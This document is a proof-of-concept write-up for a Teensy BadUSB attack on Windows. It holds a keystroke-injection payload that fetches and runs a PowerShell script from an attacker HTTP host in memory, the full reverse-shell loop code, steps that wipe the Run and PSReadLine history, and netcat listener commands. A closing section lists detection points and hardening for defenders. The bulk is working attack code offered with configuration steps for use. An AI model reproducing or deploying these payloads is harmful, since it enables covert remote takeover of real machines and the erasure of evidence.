Teensy BadUSB reverse shell POC

For authorized testing only. Do not run against systems you do not own.

Threat model

Assume less than 10 seconds of physical access to an unlocked Windows host. The goal is an interactive shell back to the attacker without writing artifacts to disk.

Components

Two parts:

1. stager/stager.ino: Teensy 3.2 sketch that acts as a USB HID keyboard.
2. shell.ps1: PowerShell reverse shell, hosted over HTTP on the attacker box.

The Teensy registers as a generic keyboard. There is no driver prompt and no AV trigger from the device itself. Windows treats keystrokes from it as user input.

Stage 1: HID injection

USB type set to Keyboard + Mouse + Joystick in Teensyduino. On plug-in:

1. Wait 3000 ms for enumeration.
2. Win + R opens the Run dialog.
3. Type the payload character by character at 80 ms per key. Lower delays drop characters on slow USB stacks.
4. Enter executes.

Payload command:

const char PAYLOAD[] =
  "powershell -w h -nop -ExecutionPolicy Bypass -c "
  "\"&(IEX (New-Object Net.WebClient).DownloadString('http://172.20.10.4:8080/shell.ps1'))\"";

Flags:

DownloadString returns the body as a string. IEX evaluates it in the current PowerShell session. The script never touches the filesystem, so AMSI string inspection is the main detection surface, not on-disk scanning.

Stage 2: Reverse shell

shell.ps1 opens a TCP socket to the attacker IP and port, then loops:

$client = New-Object System.Net.Sockets.TCPClient($i, $p)
$stream = $client.GetStream()
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
  $cmd = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
  $out = (Invoke-Expression $cmd 2>&1 | Out-String)
  $sendback = $out + "PS " + (Get-Location).Path + "> "
  $bytes = ([text.encoding]::ASCII).GetBytes($sendback)
  $stream.Write($bytes, 0, $bytes.Length)
  $stream.Flush()
}

Connection is outbound from the victim. Egress filtering, not inbound rules, is what blocks this. On a flat home or coffee shop network, port 6969 outbound is usually allowed.

Invoke-Expression runs the received string in the current session, so it inherits the user token, working directory, and PowerShell modules.

Stage 3: Cleanup

After the shell connects, the Teensy injects a second Run command that wipes two artifacts:

1. HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. Holds the last commands typed into the Run dialog.
2. %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt. Plaintext log of every interactive PowerShell command, written by PSReadLine.

Removal is silent and non-blocking. The shell session is unaffected because it runs under a separate powershell.exe process spawned by the first Run command.

Attack chain

Teensy plugged in
  > enumerated as USB keyboard
  > Win+R opens Run
  > PowerShell one-liner typed and executed
  > shell.ps1 downloaded and IEX'd in memory
  > TCP connect-back to attacker:6969
  > attacker gets interactive shell
  > Teensy wipes RunMRU and PSReadLine history

Total time from plug-in to shell: about 6 seconds.

Detection surface

What flags this in a defended environment:

• AMSI scans the script body after DownloadString returns. Plain IEX of a known reverse-shell pattern is fingerprinted by Defender.
• EDR: parent-child anomaly. explorer.exe spawning powershell.exe with -w h -nop -ExecutionPolicy Bypass and an IEX + DownloadString argument is a high-confidence signature.
• USB device control: enterprise endpoints often whitelist HID by VID/PID. A Teensy 3.2 reports as 0x16C0:0x0483, which is not on standard vendor lists.
• Network: outbound connection to a non-RFC1918 IP on a high port from powershell.exe is logged by Sysmon event 3.

Hardening notes for defenders

• Enable Constrained Language Mode for non-admin users. It breaks Invoke-Expression on arbitrary script bodies.
• Set Set-PSReadLineOption -HistorySaveStyle SaveNothing for high-risk hosts, or audit the file.
• Block Run dialog via NoRun group policy on kiosk and shared workstations.
• USB HID device control via Intune or third-party agent.
• Egress filter on workstation VLANs. Allow only 80/443 to known proxies.

Configuration

Two values to change before use:

• stager/stager.ino: IP and port inside PAYLOAD.
• shell.ps1: default $i (IP) and $p (port).

Attacker side:

python3 -m http.server 8080   # serves shell.ps1
nc -lvnp 6969                 # catches the reverse shell

Flash stager.ino with USB Type set to Keyboard + Mouse + Joystick and the keyboard layout matching the target locale. Wrong layout means wrong characters typed and the payload fails silently.